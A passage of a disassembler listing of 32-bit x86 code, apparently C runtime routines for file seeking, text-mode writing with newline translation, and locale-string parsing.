mov esp, ebp pop ebp retn sub_42FC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FE80 proc near ; CODE XREF: sub_42F3F0+252p ; sub_42FB3D+55p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F2E0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jz short loc_42FEF5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+4], 0 jz short loc_42FEF5 mov [ebp+var_4], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4232F0 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42FEF5 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_42FFB0 loc_42FEF5: ; CODE XREF: sub_42FE80+2Aj ; sub_42FE80+36j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42FE80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF10 proc near ; CODE XREF: sub_42FC00+ADp ; sub_42FC00+131p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jl short loc_42FF4F mov eax, [ebp+arg_4] mov ecx, [eax+4] mov edx, [ebp+arg_0] mov eax, [edx+ecx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov ecx, [ebp+var_4] add ecx, [eax+edx] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] add eax, [edx+4] mov [ebp+var_4], eax loc_42FF4F: ; CODE XREF: sub_42FF10+16j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42FF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF60 proc near ; CODE XREF: sub_4233F0+4Dp ; sub_42F870+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_42375D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42FF9F mov ecx, 2 loc_42FF9F: ; CODE XREF: sub_42FF60+38j push ecx call sub_42375D pop ebp pop ecx pop ebx leave retn 0Ch sub_42FF60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FFB0 proc near ; CODE XREF: sub_42F3F0:loc_42F683p ; sub_42F970:loc_42F991p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00430024 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F2F0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 call sub_42B630 cmp dword ptr [eax+60h], 0 jz short loc_430010 mov [ebp+var_4], 1 call sub_42B630 call dword ptr [eax+60h] mov [ebp+var_4], 0 jmp short loc_430010 ; --------------------------------------------------------------------------- loc_430000: ; DATA XREF: .XComp0:0043F300o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_430006: ; DATA XREF: .XComp0:0043F304o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_430010: ; CODE XREF: sub_42FFB0+36j ; sub_42FFB0+4Ej mov [ebp+var_4], 0FFFFFFFFh call sub_43001E jmp short loc_430024 sub_42FFB0 endp ; =============== S U B R O U T I N E ======================================= sub_43001E proc near ; CODE XREF: sub_42FFB0+67p ; DATA XREF: .XComp0:0043F2F8o call sub_435A60 retn sub_43001E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFB0 loc_430024: ; CODE XREF: sub_42FFB0+6Cj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42FFB0 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_42B630 cmp dword ptr [eax+64h], 0 jz short loc_430056 call sub_42B630 call dword ptr [eax+64h] loc_430056: ; CODE XREF: .XComp0:0043004Cj call sub_42FFB0 pop ebp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430060 proc near ; CODE XREF: sub_423600+23p ; sub_423600:loc_42366Dp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004300D0 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F308 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp off_4528C0, 0 jz short loc_4300BC mov [ebp+var_4], 1 call off_4528C0 mov [ebp+var_4], 0 jmp short loc_4300BC ; --------------------------------------------------------------------------- loc_4300AC: ; DATA XREF: .XComp0:0043F318o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4300B2: ; DATA XREF: .XComp0:0043F31Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_4300BC: ; CODE XREF: sub_430060+34j ; sub_430060+4Aj mov [ebp+var_4], 0FFFFFFFFh call sub_4300CA jmp short loc_4300D0 sub_430060 endp ; =============== S U B R O U T I N E ======================================= sub_4300CA proc near ; CODE XREF: sub_430060+63p call sub_42FFB0 retn sub_4300CA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430060 loc_4300D0: ; CODE XREF: sub_430060+68j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_430060 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4300F0 proc near ; CODE XREF: sub_423D50+10Ep ; sub_42A430+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb short loc_430121 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_43013C loc_430121: ; CODE XREF: sub_4300F0+Dj call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_43016E ; --------------------------------------------------------------------------- loc_43013C: ; CODE XREF: sub_4300F0+2Fj mov edx, [ebp+arg_0] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_430180 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_433760 add esp, 4 mov eax, [ebp+var_4] loc_43016E: ; CODE XREF: sub_4300F0+4Aj mov esp, ebp pop ebp retn sub_4300F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430180 proc near ; CODE XREF: sub_429A90+40Dp ; sub_4300F0+64p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_433550 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4301AE call sub_42C1E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_43022E ; --------------------------------------------------------------------------- loc_4301AE: ; CODE XREF: sub_430180+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax call near ptr 2891214h nop mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_4301D6 call near ptr 27A0A66h nop mov [ebp+var_4], eax jmp short loc_4301DD ; --------------------------------------------------------------------------- loc_4301D6: ; CODE XREF: sub_430180+49j mov [ebp+var_4], 0 loc_4301DD: ; CODE XREF: sub_430180+54j cmp [ebp+var_4], 0 jz short loc_4301F4 mov ecx, [ebp+var_4] push ecx call sub_42C140 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_43022E ; --------------------------------------------------------------------------- loc_4301F4: ; CODE XREF: sub_430180+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4E95A0[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_43022E: ; CODE XREF: sub_430180+29j ; sub_430180+72j mov esp, ebp pop ebp retn sub_430180 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_430247: ; CODE XREF: .XComp0:0043026Fj cmp dword ptr [ebp+8], 0 jnz short loc_43026B push offset dword_43E494 push 0 push 32h push offset dword_43F320 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_43026B int 3 ; Trap to Debugger loc_43026B: ; CODE XREF: .XComp0:0043024Bj ; .XComp0:00430268j xor eax, eax test eax, eax jnz short loc_430247 mov ecx, [ebp+8] push ecx call sub_424B30 add esp, 4 mov edx, [ebp+8] push edx call sub_4302B0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_424BA0 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4302B0 proc near ; CODE XREF: sub_423D50+87p ; .XComp0:00430281p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_4302B9: ; CODE XREF: sub_4302B0+31j cmp [ebp+arg_0], 0 jnz short loc_4302DD push offset dword_43E4A4 push 0 push 63h push offset dword_43F320 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_4302DD int 3 ; Trap to Debugger loc_4302DD: ; CODE XREF: sub_4302B0+Dj ; sub_4302B0+2Aj xor eax, eax test eax, eax jnz short loc_4302B9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_430305 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_430305: ; CODE XREF: sub_4302B0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_4300F0 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_430326 or eax, 0FFFFFFFFh jmp loc_430543 ; --------------------------------------------------------------------------- loc_430326: ; CODE XREF: sub_4302B0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_430346 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_430543 ; --------------------------------------------------------------------------- loc_430346: ; CODE XREF: sub_4302B0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_4303BC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_4303BA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_43039A ; --------------------------------------------------------------------------- loc_430391: ; CODE XREF: sub_4302B0:loc_4303B8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_43039A: ; CODE XREF: sub_4302B0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_4303BA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4303B8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_4303B8: ; CODE XREF: sub_4302B0+FDj jmp short loc_430391 ; --------------------------------------------------------------------------- loc_4303BA: ; CODE XREF: sub_4302B0+D4j ; sub_4302B0+F2j jmp short loc_4303DF ; --------------------------------------------------------------------------- loc_4303BC: ; CODE XREF: sub_4302B0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_4303DF call sub_42C1E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_430543 ; --------------------------------------------------------------------------- loc_4303DF: ; CODE XREF: sub_4302B0:loc_4303BAj ; sub_4302B0+11Aj cmp [ebp+var_1C], 0 jnz short loc_4303ED mov eax, [ebp+var_18] jmp loc_430543 ; --------------------------------------------------------------------------- loc_4303ED: ; CODE XREF: sub_4302B0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_43053D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_430413 mov [ebp+var_18], 0 jmp loc_43053D ; --------------------------------------------------------------------------- loc_430413: ; CODE XREF: sub_4302B0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_430534 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_4300F0 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_4304C0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_430487 ; --------------------------------------------------------------------------- loc_43047E: ; CODE XREF: sub_4302B0:loc_4304A3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_430487: ; CODE XREF: sub_4302B0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_4304A5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4304A3 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4304A3: ; CODE XREF: sub_4302B0+1E8j jmp short loc_43047E ; --------------------------------------------------------------------------- loc_4304A5: ; CODE XREF: sub_4302B0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_4304BE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4304BE: ; CODE XREF: sub_4302B0+203j jmp short loc_430534 ; --------------------------------------------------------------------------- loc_4304C0: ; CODE XREF: sub_4302B0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_4300F0 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_430500 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_430500 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_430500 mov [ebp+var_10], 200h jmp short loc_430509 ; --------------------------------------------------------------------------- loc_430500: ; CODE XREF: sub_4302B0+229j ; sub_4302B0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_430509: ; CODE XREF: sub_4302B0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_430534 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_430534: ; CODE XREF: sub_4302B0+19Cj ; sub_4302B0:loc_4304BEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_43053D: ; CODE XREF: sub_4302B0+148j ; sub_4302B0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_430543: ; CODE XREF: sub_4302B0+71j ; sub_4302B0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4302B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430550 proc near ; CODE XREF: sub_423EC0+147p ; sub_425630+57p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb short loc_430581 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_43059C loc_430581: ; CODE XREF: sub_430550+Dj call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4305CE ; --------------------------------------------------------------------------- loc_43059C: ; CODE XREF: sub_430550+2Fj mov edx, [ebp+arg_0] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4305E0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_433760 add esp, 4 mov eax, [ebp+var_4] loc_4305CE: ; CODE XREF: sub_430550+4Aj mov esp, ebp pop ebp retn sub_430550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4305E0 proc near ; CODE XREF: sub_430550+64p ; sub_437FD0+145p var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_430606 xor eax, eax jmp loc_43084F ; --------------------------------------------------------------------------- loc_430606: ; CODE XREF: sub_4305E0+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_430638 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_430180 add esp, 0Ch loc_430638: ; CODE XREF: sub_4305E0+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_43076C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_43066D: ; CODE XREF: sub_4305E0:loc_430765j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_43076A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_430685: ; CODE XREF: sub_4305E0+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_4306F7 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_4306F7 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_4306E1 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4306E1: ; CODE XREF: sub_4305E0+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_430685 ; --------------------------------------------------------------------------- loc_4306F7: ; CODE XREF: sub_4305E0+B6j ; sub_4305E0+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov eax, [edx+ecx] push eax nop call near ptr 2810000h test eax, eax jz short loc_43075A mov ecx, [ebp+var_10] add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_430758 jmp short loc_43076A ; --------------------------------------------------------------------------- loc_430758: ; CODE XREF: sub_4305E0+174j jmp short loc_430765 ; --------------------------------------------------------------------------- loc_43075A: ; CODE XREF: sub_4305E0+155j nop call near ptr 27A0A66h mov [ebp+var_C], eax jmp short loc_43076A ; --------------------------------------------------------------------------- loc_430765: ; CODE XREF: sub_4305E0:loc_430758j jmp loc_43066D ; --------------------------------------------------------------------------- loc_43076A: ; CODE XREF: sub_4305E0+96j ; sub_4305E0+176j ... jmp short loc_4307BC ; --------------------------------------------------------------------------- loc_43076C: ; CODE XREF: sub_4305E0+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] mov ecx, [eax+edx] push ecx nop call near ptr 2810000h test eax, eax jz short loc_4307B3 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_4307BC ; --------------------------------------------------------------------------- loc_4307B3: ; CODE XREF: sub_4305E0+1BFj nop call near ptr 27A0A66h mov [ebp+var_C], eax loc_4307BC: ; CODE XREF: sub_4305E0:loc_43076Aj ; sub_4305E0+1D1j cmp [ebp+var_10], 0 jnz loc_430846 cmp [ebp+var_C], 0 jz short loc_4307FA cmp [ebp+var_C], 5 jnz short loc_4307E9 call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_4307F5 ; --------------------------------------------------------------------------- loc_4307E9: ; CODE XREF: sub_4305E0+1F0j mov edx, [ebp+var_C] push edx call sub_42C140 add esp, 4 loc_4307F5: ; CODE XREF: sub_4305E0+207j or eax, 0FFFFFFFFh jmp short loc_43084F ; --------------------------------------------------------------------------- loc_4307FA: ; CODE XREF: sub_4305E0+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_43082B mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_43082B xor eax, eax jmp short loc_43084F ; --------------------------------------------------------------------------- loc_43082B: ; CODE XREF: sub_4305E0+23Aj ; sub_4305E0+245j call sub_42C1E0 mov dword ptr [eax], 1Ch call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_43084F ; --------------------------------------------------------------------------- loc_430846: ; CODE XREF: sub_4305E0+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] loc_43084F: ; CODE XREF: sub_4305E0+21j ; sub_4305E0+218j ... mov esp, ebp pop ebp retn sub_4305E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_430875 cmp dword ptr [ebp+8], 5 jle short loc_43087C loc_430875: ; CODE XREF: .XComp0:0043086Dj xor eax, eax jmp loc_430C4B ; --------------------------------------------------------------------------- loc_43087C: ; CODE XREF: .XComp0:00430873j push 13h call sub_425990 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, dword_4E96A4 add eax, 1 mov dword_4E96A4, eax loc_43089A: ; CODE XREF: .XComp0:004308ABj cmp dword_4E96A8, 0 jz short loc_4308AD push 1 nop call near ptr 27A0000h jmp short loc_43089A ; --------------------------------------------------------------------------- loc_4308AD: ; CODE XREF: .XComp0:004308A1j cmp dword ptr [ebp+8], 0 jz short loc_4308F1 cmp dword ptr [ebp+0Ch], 0 jz short loc_4308D1 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_430C50 add esp, 8 mov [ebp-0A8h], eax jmp short loc_4308E3 ; --------------------------------------------------------------------------- loc_4308D1: ; CODE XREF: .XComp0:004308B7j mov eax, [ebp+8] imul eax, 0Ch mov ecx, dword_4529D4[eax] mov [ebp-0A8h], ecx loc_4308E3: ; CODE XREF: .XComp0:004308CFj mov edx, [ebp-0A8h] mov [ebp-8], edx jmp loc_430C2B ; --------------------------------------------------------------------------- loc_4308F1: ; CODE XREF: .XComp0:004308B1j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_430C23 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_430B34 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_430B34 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_430B34 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_430941: ; CODE XREF: .XComp0:00430B03j push offset asc_43F36C ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_436F80 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_43098D mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_43098D mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_4309B3 loc_43098D: ; CODE XREF: .XComp0:00430962j ; .XComp0:0043097Dj cmp dword ptr [ebp-4], 0 jz short loc_4309AC push 13h call sub_425A30 add esp, 4 mov edx, dword_4E96A4 sub edx, 1 mov dword_4E96A4, edx loc_4309AC: ; CODE XREF: .XComp0:00430991j xor eax, eax jmp loc_430C4B ; --------------------------------------------------------------------------- loc_4309B3: ; CODE XREF: .XComp0:0043098Bj mov dword ptr [ebp-10h], 1 jmp short loc_4309C5 ; --------------------------------------------------------------------------- loc_4309BC: ; CODE XREF: .XComp0:loc_430A11j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_4309C5: ; CODE XREF: .XComp0:004309BAj cmp dword ptr [ebp-10h], 5 jg short loc_430A13 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, off_4529D0[eax] push ecx call sub_422540 add esp, 0Ch test eax, eax jnz short loc_430A11 mov edx, [ebp-10h] imul edx, 0Ch mov eax, off_4529D0[edx] push eax call sub_41EBD0 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_430A11 jmp short loc_430A13 ; --------------------------------------------------------------------------- loc_430A11: ; CODE XREF: .XComp0:004309F0j ; .XComp0:00430A0Dj jmp short loc_4309BC ; --------------------------------------------------------------------------- loc_430A13: ; CODE XREF: .XComp0:004309C9j ; .XComp0:00430A0Fj push offset asc_43F368 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_436F40 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 